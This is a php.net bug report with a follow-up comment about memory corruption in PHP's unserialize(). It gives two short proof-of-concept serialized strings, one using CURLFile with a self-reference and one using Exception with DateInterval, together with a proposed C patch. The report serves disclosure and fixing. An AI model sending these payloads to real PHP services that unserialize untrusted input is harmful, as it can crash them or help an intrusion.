|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-09-23 13:22 UTC] taoguangchen at icloud dot com
Description:
------------
PoC:
```
<?php
$poc = 'a:1:{i:0;O:8:"CURLFile":1:{s:4:"name";R:1;}}';
unserialize($poc);
?>
```
Patches1 (last revision 2019-09-06 03:41 UTC by 825307076 at qq dot com)demo17 (last revision 2019-06-06 06:46 UTC by 417177366 at qq dot com) Pull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Tue Oct 28 04:00:01 2025 UTC |
The similar bug can be also triggered via Exception::__toString with DateInterval::__wakeup ``` ZEND_METHOD(exception, __toString) { ... zend_update_property_str(base_ce, exception, "string", sizeof("string")-1, str); ``` PoC: ``` <?php $poc = 'O:9:"Exception":2:{S:17:"\00Exception\00string";R:1;i:0;O:12:"DateInterval":1:{s:4:"days";R:1;}}'; unserialize($poc); ?> ```the follow patch can fix this bug: ``` + zval tmp; + ZVAL_STRINGL(&tmp, "string", sizeof("string") - 1); + Z_OBJ_HANDLER_P(exception, unset_property)(exception, &tmp, NULL); + zval_ptr_dtor(&tmp); zend_update_property_str(base_ce, exception, "string", sizeof("string")-1, str); ```